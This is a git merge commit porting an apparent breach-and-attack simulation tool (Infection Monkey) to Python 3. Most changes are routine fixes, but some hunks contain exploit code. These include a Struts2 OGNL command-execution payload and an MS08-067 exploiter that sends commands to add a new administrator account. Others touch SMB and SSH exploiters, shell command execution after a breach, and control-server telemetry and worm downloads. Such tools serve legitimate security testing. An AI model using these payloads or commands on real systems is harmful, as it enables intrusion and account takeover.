Merge remote-tracking branch 'upstream/393/python-3' into deployment_scripts_python3

This commit is contained in:
VakarisZ 2019-10-23 14:47:43 +03:00
commit bcf428de1e
29 changed files with 100 additions and 109 deletions

View File

@ -27,16 +27,17 @@ class AwsInstance(object):
try: try:
self.instance_id = urllib.request.urlopen( self.instance_id = urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read() AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode()
self.region = self._parse_region( self.region = self._parse_region(
urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read()) urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().
decode())
except (urllib.error.URLError, IOError) as e: except (urllib.error.URLError, IOError) as e:
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e)) logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
try: try:
self.account_id = self._extract_account_id( self.account_id = self._extract_account_id(
urllib.request.urlopen( urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read()) AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read().decode())
except (urllib.error.URLError, IOError) as e: except (urllib.error.URLError, IOError) as e:
logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e)) logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e))

View File

@ -4,7 +4,6 @@ import struct
from abc import ABCMeta, abstractmethod from abc import ABCMeta, abstractmethod
import ipaddress import ipaddress
from six import text_type
import logging import logging
__author__ = 'itamar' __author__ = 'itamar'
@ -78,7 +77,7 @@ class CidrRange(NetworkRange):
def __init__(self, cidr_range, shuffle=True): def __init__(self, cidr_range, shuffle=True):
super(CidrRange, self).__init__(shuffle=shuffle) super(CidrRange, self).__init__(shuffle=shuffle)
self._cidr_range = cidr_range.strip() self._cidr_range = cidr_range.strip()
self._ip_network = ipaddress.ip_network(text_type(self._cidr_range), strict=False) self._ip_network = ipaddress.ip_network(str(self._cidr_range), strict=False)
def __repr__(self): def __repr__(self):
return "<CidrRange %s>" % (self._cidr_range,) return "<CidrRange %s>" % (self._cidr_range,)
@ -151,10 +150,10 @@ class SingleIpRange(NetworkRange):
return self._ip_address return self._ip_address
@staticmethod @staticmethod
def string_to_host(string): def string_to_host(string_):
""" """
Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip
:param string: String that was entered in "Scan IP/subnet list" :param string_: String that was entered in "Scan IP/subnet list"
:return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com) :return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com)
""" """
# The most common use case is to enter ip/range into "Scan IP/subnet list" # The most common use case is to enter ip/range into "Scan IP/subnet list"
@ -162,16 +161,16 @@ class SingleIpRange(NetworkRange):
# Try casting user's input as IP # Try casting user's input as IP
try: try:
ip = ipaddress.ip_address(string).exploded ip = ipaddress.ip_address(string_).exploded
except ValueError: except ValueError:
# Exception means that it's a domain name # Exception means that it's a domain name
try: try:
ip = socket.gethostbyname(string) ip = socket.gethostbyname(string_)
domain_name = string domain_name = string_
except socket.error: except socket.error:
LOG.error("Your specified host: {} is not found as a domain name and" LOG.error("Your specified host: {} is not found as a domain name and"
" it's not an IP address".format(string)) " it's not an IP address".format(string_))
return None, string return None, string_
# If a string was entered instead of IP we presume that it was domain name and translate it # If a string_ was entered instead of IP we presume that it was domain name and translate it
return ip, domain_name return ip, domain_name

View File

@ -9,7 +9,7 @@ from requests.exceptions import ConnectionError
import infection_monkey.monkeyfs as monkeyfs import infection_monkey.monkeyfs as monkeyfs
import infection_monkey.tunnel as tunnel import infection_monkey.tunnel as tunnel
from infection_monkey.config import WormConfiguration, GUID from infection_monkey.config import WormConfiguration, GUID
from infection_monkey.network.info import local_ips, check_internet_access, TIMEOUT from infection_monkey.network.info import local_ips, check_internet_access
from infection_monkey.transport.http import HTTPConnectProxy from infection_monkey.transport.http import HTTPConnectProxy
from infection_monkey.transport.tcp import TcpProxy from infection_monkey.transport.tcp import TcpProxy
@ -85,7 +85,7 @@ class ControlClient(object):
except ConnectionError as exc: except ConnectionError as exc:
current_server = "" current_server = ""
LOG.warn("Error connecting to control server %s: %s", server, exc) LOG.warning("Error connecting to control server %s: %s", server, exc)
if current_server: if current_server:
return True return True
@ -112,14 +112,14 @@ class ControlClient(object):
monkey = {} monkey = {}
if ControlClient.proxies: if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https') monkey['tunnel'] = ControlClient.proxies.get('https')
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
data=json.dumps(monkey), data=json.dumps(monkey),
headers={'content-type': 'application/json'}, headers={'content-type': 'application/json'},
verify=False, verify=False,
proxies=ControlClient.proxies) proxies=ControlClient.proxies)
except Exception as exc: except Exception as exc:
LOG.warn("Error connecting to control server %s: %s", LOG.warning("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc) WormConfiguration.current_server, exc)
return {} return {}
@staticmethod @staticmethod
@ -129,14 +129,14 @@ class ControlClient(object):
return return
try: try:
telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data} telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
data=json.dumps(telemetry), data=json.dumps(telemetry),
headers={'content-type': 'application/json'}, headers={'content-type': 'application/json'},
verify=False, verify=False,
proxies=ControlClient.proxies) proxies=ControlClient.proxies)
except Exception as exc: except Exception as exc:
LOG.warn("Error connecting to control server %s: %s", LOG.warning("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc) WormConfiguration.current_server, exc)
@staticmethod @staticmethod
def send_log(log): def send_log(log):
@ -144,14 +144,14 @@ class ControlClient(object):
return return
try: try:
telemetry = {'monkey_guid': GUID, 'log': json.dumps(log)} telemetry = {'monkey_guid': GUID, 'log': json.dumps(log)}
reply = requests.post("https://%s/api/log" % (WormConfiguration.current_server,), requests.post("https://%s/api/log" % (WormConfiguration.current_server,),
data=json.dumps(telemetry), data=json.dumps(telemetry),
headers={'content-type': 'application/json'}, headers={'content-type': 'application/json'},
verify=False, verify=False,
proxies=ControlClient.proxies) proxies=ControlClient.proxies)
except Exception as exc: except Exception as exc:
LOG.warn("Error connecting to control server %s: %s", LOG.warning("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc) WormConfiguration.current_server, exc)
@staticmethod @staticmethod
def load_control_config(): def load_control_config():
@ -163,8 +163,8 @@ class ControlClient(object):
proxies=ControlClient.proxies) proxies=ControlClient.proxies)
except Exception as exc: except Exception as exc:
LOG.warn("Error connecting to control server %s: %s", LOG.warning("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc) WormConfiguration.current_server, exc)
return return
try: try:
@ -191,7 +191,7 @@ class ControlClient(object):
verify=False, verify=False,
proxies=ControlClient.proxies) proxies=ControlClient.proxies)
except Exception as exc: except Exception as exc:
LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
return {} return {}
@staticmethod @staticmethod
@ -261,8 +261,8 @@ class ControlClient(object):
return dest_file return dest_file
except Exception as exc: except Exception as exc:
LOG.warn("Error connecting to control server %s: %s", LOG.warning("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc) WormConfiguration.current_server, exc)
@staticmethod @staticmethod
def get_monkey_exe_filename_and_size_by_host(host): def get_monkey_exe_filename_and_size_by_host(host):
@ -288,8 +288,8 @@ class ControlClient(object):
return None, None return None, None
except Exception as exc: except Exception as exc:
LOG.warn("Error connecting to control server %s: %s", LOG.warning("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc) WormConfiguration.current_server, exc)
return None, None return None, None

View File

@ -26,7 +26,7 @@ else:
try: try:
WindowsError WindowsError
except NameError: except NameError:
WindowsError = None WindowsError = IOError
__author__ = 'itamar' __author__ = 'itamar'
@ -104,14 +104,14 @@ class MonkeyDrops(object):
try: try:
ref_stat = os.stat(dropper_date_reference_path) ref_stat = os.stat(dropper_date_reference_path)
except OSError as exc: except OSError as exc:
LOG.warn("Cannot set reference date using '%s', file not found", LOG.warning("Cannot set reference date using '%s', file not found",
dropper_date_reference_path) dropper_date_reference_path)
else: else:
try: try:
os.utime(self._config['destination_path'], os.utime(self._config['destination_path'],
(ref_stat.st_atime, ref_stat.st_mtime)) (ref_stat.st_atime, ref_stat.st_mtime))
except: except:
LOG.warn("Cannot set reference date to destination file") LOG.warning("Cannot set reference date to destination file")
monkey_options =\ monkey_options =\
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
@ -135,7 +135,7 @@ class MonkeyDrops(object):
time.sleep(3) time.sleep(3)
if monkey_process.poll() is not None: if monkey_process.poll() is not None:
LOG.warn("Seems like monkey died too soon") LOG.warning("Seems like monkey died too soon")
def cleanup(self): def cleanup(self):
try: try:

View File

@ -12,7 +12,8 @@ class HostExploiter(object, metaclass=ABCMeta):
# Usual values are 'vulnerability' or 'brute_force' # Usual values are 'vulnerability' or 'brute_force'
EXPLOIT_TYPE = ExploitType.VULNERABILITY EXPLOIT_TYPE = ExploitType.VULNERABILITY
@abstractproperty @property
@abstractmethod
def _EXPLOITED_SERVICE(self): def _EXPLOITED_SERVICE(self):
pass pass
@ -73,7 +74,7 @@ class HostExploiter(object, metaclass=ABCMeta):
""" """
powershell = True if "powershell" in cmd.lower() else False powershell = True if "powershell" in cmd.lower() else False
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.wmiexec import WmiExploiter

View File

@ -10,7 +10,6 @@ from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
from infection_monkey.model import DROPPER_ARG from infection_monkey.model import DROPPER_ARG
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError

View File

@ -217,6 +217,7 @@ class SambaCryExploiter(HostExploiter):
pattern = re.compile(r'\d*\.\d*\.\d*') pattern = re.compile(r'\d*\.\d*\.\d*')
smb_server_name = self.host.services[SMB_SERVICE].get('name') smb_server_name = self.host.services[SMB_SERVICE].get('name')
if not smb_server_name: if not smb_server_name:
LOG.info("Host: %s refused SMB connection" % self.host.ip_addr)
return False return False
samba_version = "unknown" samba_version = "unknown"
pattern_result = pattern.search(smb_server_name) pattern_result = pattern.search(smb_server_name)

View File

@ -125,8 +125,8 @@ class SmbExploiter(HostExploiter):
try: try:
scmr_rpc.connect() scmr_rpc.connect()
except Exception as exc: except Exception as exc:
LOG.warn("Error connecting to SCM on exploited machine %r: %s", LOG.warning("Error connecting to SCM on exploited machine %r: %s",
self.host, exc) self.host, exc)
return False return False
smb_conn = rpctransport.get_smb_connection() smb_conn = rpctransport.get_smb_connection()

View File

@ -124,7 +124,7 @@ class SSHExploiter(HostExploiter):
if not self.host.os.get('type'): if not self.host.os.get('type'):
try: try:
_, stdout, _ = ssh.exec_command('uname -o') _, stdout, _ = ssh.exec_command('uname -o')
uname_os = stdout.read().lower().strip() uname_os = stdout.read().lower().strip().decode()
if 'linux' in uname_os: if 'linux' in uname_os:
self.host.os['type'] = 'linux' self.host.os['type'] = 'linux'
else: else:

View File

@ -79,9 +79,6 @@ class Struts2Exploiter(WebRCE):
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \ "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
"(#ros.flush())}" % cmd "(#ros.flush())}" % cmd
# Turns payload ascii just for consistency
if isinstance(payload, str):
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
try: try:
request = urllib.request.Request(url, headers=headers) request = urllib.request.Request(url, headers=headers)
@ -91,6 +88,6 @@ class Struts2Exploiter(WebRCE):
# If url does not exist # If url does not exist
return False return False
except http.client.IncompleteRead as e: except http.client.IncompleteRead as e:
page = e.partial page = e.partial.decode()
return page return page

View File

@ -191,11 +191,11 @@ class Ms08_067_Exploiter(HostExploiter):
try: try:
sock = exploit.start() sock = exploit.start()
sock.send("cmd /c (net user %s %s /add) &&" sock.send("cmd /c (net user {} {} /add) &&"
" (net localgroup administrators %s /add)\r\n" % " (net localgroup administrators {} /add)\r\n".format(
(self._config.user_to_add, self._config.user_to_add,
self._config.remote_user_pass, self._config.remote_user_pass,
self._config.user_to_add)) self._config.user_to_add).encode())
time.sleep(2) time.sleep(2)
reply = sock.recv(1000) reply = sock.recv(1000)

View File

@ -6,7 +6,6 @@ import sys
import time import time
import infection_monkey.tunnel as tunnel import infection_monkey.tunnel as tunnel
from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.utils.monkey_log_path import get_monkey_log_path
from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.environment import is_windows_os

View File

@ -1,4 +1,3 @@
import sys
import socket import socket
import struct import struct
import psutil import psutil

View File

@ -7,8 +7,6 @@ import struct
import time import time
import re import re
from six.moves import range
from infection_monkey.pyinstaller_utils import get_binary_file_path from infection_monkey.pyinstaller_utils import get_binary_file_path
from infection_monkey.utils.environment import is_64bit_python from infection_monkey.utils.environment import is_64bit_python
@ -73,7 +71,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
if get_banner: if get_banner:
read_ready, _, _ = select.select([sock], [], [], timeout) read_ready, _, _ = select.select([sock], [], [], timeout)
if len(read_ready) > 0: if len(read_ready) > 0:
banner = sock.recv(BANNER_READ) banner = sock.recv(BANNER_READ).decode()
except socket.error: except socket.error:
pass pass

View File

@ -1,5 +1,4 @@
import logging import logging
import os
import random import random
import string import string
import subprocess import subprocess
@ -39,7 +38,7 @@ class CommunicateAsNewUser(PBA):
exit_status = new_user.run_as(ping_commandline) exit_status = new_user.run_as(ping_commandline)
self.send_ping_result_telemetry(exit_status, ping_commandline, username) self.send_ping_result_telemetry(exit_status, ping_commandline, username)
except subprocess.CalledProcessError as e: except subprocess.CalledProcessError as e:
PostBreachTelem(self, (e.output, False)).send() PostBreachTelem(self, (e.output.decode(), False)).send()
except NewUserError as e: except NewUserError as e:
PostBreachTelem(self, (str(e), False)).send() PostBreachTelem(self, (str(e), False)).send()

View File

@ -14,6 +14,7 @@ __author__ = 'VakarisZ'
EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)" EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)"
class PBA(object): class PBA(object):
""" """
Post breach action object. Can be extended to support more than command execution on target machine. Post breach action object. Can be extended to support more than command execution on target machine.
@ -75,13 +76,13 @@ class PBA(object):
:return: Tuple of command's output string and boolean, indicating if it succeeded :return: Tuple of command's output string and boolean, indicating if it succeeded
""" """
try: try:
output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True) output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True).decode()
if not output: if not output:
output = EXECUTION_WITHOUT_OUTPUT output = EXECUTION_WITHOUT_OUTPUT
return output, True return output, True
except subprocess.CalledProcessError as e: except subprocess.CalledProcessError as e:
# Return error output of the command # Return error output of the command
return e.output, False return e.output.decode(), False
@staticmethod @staticmethod
def choose_command(linux_cmd, windows_cmd): def choose_command(linux_cmd, windows_cmd):

View File

@ -6,7 +6,6 @@ odict
paramiko paramiko
psutil psutil
PyInstaller PyInstaller
six
ecdsa ecdsa
netifaces netifaces
ipaddress ipaddress

View File

@ -6,7 +6,6 @@ odict
paramiko paramiko
psutil psutil
PyInstaller PyInstaller
six
ecdsa ecdsa
netifaces netifaces
ipaddress ipaddress

View File

@ -1,6 +1,7 @@
import os import os
import logging import logging
import sys import sys
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config import infection_monkey.config
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
@ -8,9 +9,6 @@ from infection_monkey.system_info import InfoCollector
from infection_monkey.system_info.wmi_consts import WMI_CLASSES from infection_monkey.system_info.wmi_consts import WMI_CLASSES
from common.utils.wmi_utils import WMIUtils from common.utils.wmi_utils import WMIUtils
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
LOG.info('started windows info collector') LOG.info('started windows info collector')

View File

@ -25,7 +25,8 @@ class BaseTelem(object, metaclass=abc.ABCMeta):
logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data))) logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data)))
ControlClient.send_telemetry(self.telem_category, data) ControlClient.send_telemetry(self.telem_category, data)
@abc.abstractproperty @property
@abc.abstractmethod
def telem_category(self): def telem_category(self):
""" """
:return: Telemetry type :return: Telemetry type

View File

@ -48,7 +48,7 @@ def _check_tunnel(address, port, existing_sock=None):
return False return False
try: try:
sock.sendto("+", (address, MCAST_PORT)) sock.sendto(b"+", (address, MCAST_PORT))
except Exception as exc: except Exception as exc:
LOG.debug("Caught exception in tunnel registration: %s", exc) LOG.debug("Caught exception in tunnel registration: %s", exc)
@ -71,13 +71,13 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
try: try:
LOG.info("Trying to find using adapter %s", adapter) LOG.info("Trying to find using adapter %s", adapter)
sock = _set_multicast_socket(timeout, adapter) sock = _set_multicast_socket(timeout, adapter)
sock.sendto("?", (MCAST_GROUP, MCAST_PORT)) sock.sendto(b"?", (MCAST_GROUP, MCAST_PORT))
tunnels = [] tunnels = []
while True: while True:
try: try:
answer, address = sock.recvfrom(BUFFER_READ) answer, address = sock.recvfrom(BUFFER_READ)
if answer not in ['?', '+', '-']: if answer not in [b'?', b'+', b'-']:
tunnels.append(answer) tunnels.append(answer)
except socket.timeout: except socket.timeout:
break break
@ -102,7 +102,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
def quit_tunnel(address, timeout=DEFAULT_TIMEOUT): def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
try: try:
sock = _set_multicast_socket(timeout) sock = _set_multicast_socket(timeout)
sock.sendto("-", (address, MCAST_PORT)) sock.sendto(b"-", (address, MCAST_PORT))
sock.close() sock.close()
LOG.debug("Success quitting tunnel") LOG.debug("Success quitting tunnel")
except Exception as exc: except Exception as exc:
@ -147,17 +147,17 @@ class MonkeyTunnel(Thread):
while not self._stopped: while not self._stopped:
try: try:
search, address = self._broad_sock.recvfrom(BUFFER_READ) search, address = self._broad_sock.recvfrom(BUFFER_READ)
if '?' == search: if b'?' == search:
ip_match = get_interface_to_target(address[0]) ip_match = get_interface_to_target(address[0])
if ip_match: if ip_match:
answer = '%s:%d' % (ip_match, self.local_port) answer = '%s:%d' % (ip_match, self.local_port)
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer) LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
self._broad_sock.sendto(answer, (address[0], MCAST_PORT)) self._broad_sock.sendto(answer.encode(), (address[0], MCAST_PORT))
elif '+' == search: elif b'+' == search:
if not address[0] in self._clients: if not address[0] in self._clients:
LOG.debug("Tunnel control: Added %s to watchlist", address[0]) LOG.debug("Tunnel control: Added %s to watchlist", address[0])
self._clients.append(address[0]) self._clients.append(address[0])
elif '-' == search: elif b'-' == search:
LOG.debug("Tunnel control: Removed %s from watchlist", address[0]) LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
self._clients = [client for client in self._clients if client != address[0]] self._clients = [client for client in self._clients if client != address[0]]
@ -170,7 +170,7 @@ class MonkeyTunnel(Thread):
while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT): while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT):
try: try:
search, address = self._broad_sock.recvfrom(BUFFER_READ) search, address = self._broad_sock.recvfrom(BUFFER_READ)
if '-' == search: if b'-' == search:
LOG.debug("Tunnel control: Removed %s from watchlist", address[0]) LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
self._clients = [client for client in self._clients if client != address[0]] self._clients = [client for client in self._clients if client != address[0]]
except socket.timeout: except socket.timeout:

View File

@ -48,7 +48,7 @@ class Monkey(Document):
@staticmethod @staticmethod
def __ring_key__(): def __ring_key__():
""" """
Cash key representation Cache key representation
https://ring-cache.readthedocs.io/en/stable/quickstart.html#method-classmethod-staticmethod-property https://ring-cache.readthedocs.io/en/stable/quickstart.html#method-classmethod-staticmethod-property
:return: :return:
""" """

View File

@ -34,10 +34,10 @@ class RemoteRun(flask_restful.Resource):
try: try:
resp['instances'] = AwsService.get_instances() resp['instances'] = AwsService.get_instances()
except NoCredentialsError as e: except NoCredentialsError as e:
resp['error'] = NO_CREDS_ERROR_FORMAT.format(e.message) resp['error'] = NO_CREDS_ERROR_FORMAT.format(e)
return jsonify(resp) return jsonify(resp)
except ClientError as e: except ClientError as e:
resp['error'] = CLIENT_ERROR_FORMAT.format(e.message) resp['error'] = CLIENT_ERROR_FORMAT.format(e)
return jsonify(resp) return jsonify(resp)
return jsonify(resp) return jsonify(resp)

View File

@ -12,28 +12,32 @@ logger = logging.getLogger(__name__)
class AttackTechnique(object, metaclass=abc.ABCMeta): class AttackTechnique(object, metaclass=abc.ABCMeta):
""" Abstract class for ATT&CK report components """ """ Abstract class for ATT&CK report components """
@abc.abstractproperty @property
@abc.abstractmethod
def unscanned_msg(self): def unscanned_msg(self):
""" """
:return: Message that will be displayed in case attack technique was not scanned. :return: Message that will be displayed in case attack technique was not scanned.
""" """
pass pass
@abc.abstractproperty @property
@abc.abstractmethod
def scanned_msg(self): def scanned_msg(self):
""" """
:return: Message that will be displayed in case attack technique was scanned. :return: Message that will be displayed in case attack technique was scanned.
""" """
pass pass
@abc.abstractproperty @property
@abc.abstractmethod
def used_msg(self): def used_msg(self):
""" """
:return: Message that will be displayed in case attack technique was used by the scanner. :return: Message that will be displayed in case attack technique was used by the scanner.
""" """
pass pass
@abc.abstractproperty @property
@abc.abstractmethod
def tech_id(self): def tech_id(self):
""" """
:return: Message that will be displayed in case of attack technique not being scanned. :return: Message that will be displayed in case of attack technique not being scanned.

View File

@ -3,7 +3,6 @@ import collections
import functools import functools
import logging import logging
from jsonschema import Draft4Validator, validators from jsonschema import Draft4Validator, validators
from six import string_types
import monkey_island.cc.services.post_breach_files import monkey_island.cc.services.post_breach_files
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
@ -236,7 +235,7 @@ class ConfigService:
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
for key in keys: for key in keys:
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types): if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], str):
# Check if we are decrypting ssh key pair # Check if we are decrypting ssh key pair
if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]: if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]:
flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]] flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]]
@ -257,7 +256,7 @@ class ConfigService:
parent_config_arr = config_arr parent_config_arr = config_arr
config_arr = config_arr[config_key_part] config_arr = config_arr[config_key_part]
if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, string_types): if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, str):
for i in range(len(config_arr)): for i in range(len(config_arr)):
# Check if array of shh key pairs and then decrypt # Check if array of shh key pairs and then decrypt
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]: if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:

View File

@ -1,4 +1,4 @@
WARNING_SIGN = " \\u26A0" WARNING_SIGN = " \u26A0"
SCHEMA = { SCHEMA = {
"title": "Monkey", "title": "Monkey",

View File

@ -155,7 +155,7 @@ class EdgeService:
else: else:
to_label = NodeService.get_node_label(NodeService.get_node_by_id(to_id)) to_label = NodeService.get_node_label(NodeService.get_node_by_id(to_id))
RIGHT_ARROW = "\\u2192" RIGHT_ARROW = "\u2192"
return "%s %s %s" % (from_label, RIGHT_ARROW, to_label) return "%s %s %s" % (from_label, RIGHT_ARROW, to_label)

View File

@ -5,7 +5,6 @@ import logging
import ipaddress import ipaddress
from bson import json_util from bson import json_util
from enum import Enum from enum import Enum
from six import text_type
from common.network.network_range import NetworkRange from common.network.network_range import NetworkRange
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
@ -396,7 +395,7 @@ class ReportService:
return \ return \
[ [
ipaddress.ip_interface(text_type(network['addr'] + '/' + network['netmask'])).network ipaddress.ip_interface(str(network['addr'] + '/' + network['netmask'])).network
for network in network_info['data']['network_info']['networks'] for network in network_info['data']['network_info']['networks']
] ]
@ -409,7 +408,7 @@ class ReportService:
monkey_subnets = ReportService.get_monkey_subnets(monkey['guid']) monkey_subnets = ReportService.get_monkey_subnets(monkey['guid'])
for subnet in monkey_subnets: for subnet in monkey_subnets:
for ip in island_ips: for ip in island_ips:
if ipaddress.ip_address(text_type(ip)) in subnet: if ipaddress.ip_address(str(ip)) in subnet:
found_good_ip = True found_good_ip = True
break break
if found_good_ip: if found_good_ip:
@ -438,7 +437,7 @@ class ReportService:
ip_in_src = None ip_in_src = None
ip_in_dst = None ip_in_dst = None
for ip_addr in monkey['ip_addresses']: for ip_addr in monkey['ip_addresses']:
if source_subnet_range.is_in_range(text_type(ip_addr)): if source_subnet_range.is_in_range(str(ip_addr)):
ip_in_src = ip_addr ip_in_src = ip_addr
break break
@ -447,7 +446,7 @@ class ReportService:
continue continue
for ip_addr in monkey['ip_addresses']: for ip_addr in monkey['ip_addresses']:
if target_subnet_range.is_in_range(text_type(ip_addr)): if target_subnet_range.is_in_range(str(ip_addr)):
ip_in_dst = ip_addr ip_in_dst = ip_addr
break break
@ -483,7 +482,7 @@ class ReportService:
scans.rewind() # If we iterated over scans already we need to rewind. scans.rewind() # If we iterated over scans already we need to rewind.
for scan in scans: for scan in scans:
target_ip = scan['data']['machine']['ip_addr'] target_ip = scan['data']['machine']['ip_addr']
if target_subnet_range.is_in_range(text_type(target_ip)): if target_subnet_range.is_in_range(str(target_ip)):
monkey = NodeService.get_monkey_by_guid(scan['monkey_guid']) monkey = NodeService.get_monkey_by_guid(scan['monkey_guid'])
cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
source_subnet_range, source_subnet_range,

View File

@ -1,5 +1,4 @@
import itertools import itertools
from six import text_type
from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED
from common.network.network_range import NetworkRange from common.network.network_range import NetworkRange
@ -34,8 +33,7 @@ def test_segmentation_violation(current_monkey, target_ip):
) )
def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): def is_segmentation_violation(current_monkey: Monkey, target_ip: str, source_subnet: str, target_subnet: str) -> bool:
# type: (Monkey, str, str, str) -> bool
""" """
Checks is a specific communication is a segmentation violation. Checks is a specific communication is a segmentation violation.
:param current_monkey: The source monkey which originated the communication. :param current_monkey: The source monkey which originated the communication.
@ -49,7 +47,7 @@ def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_s
source_subnet_range = NetworkRange.get_range_obj(source_subnet) source_subnet_range = NetworkRange.get_range_obj(source_subnet)
target_subnet_range = NetworkRange.get_range_obj(target_subnet) target_subnet_range = NetworkRange.get_range_obj(target_subnet)
if target_subnet_range.is_in_range(text_type(target_ip)): if target_subnet_range.is_in_range(str(target_ip)):
cross_segment_ip = get_ip_in_src_and_not_in_dst( cross_segment_ip = get_ip_in_src_and_not_in_dst(
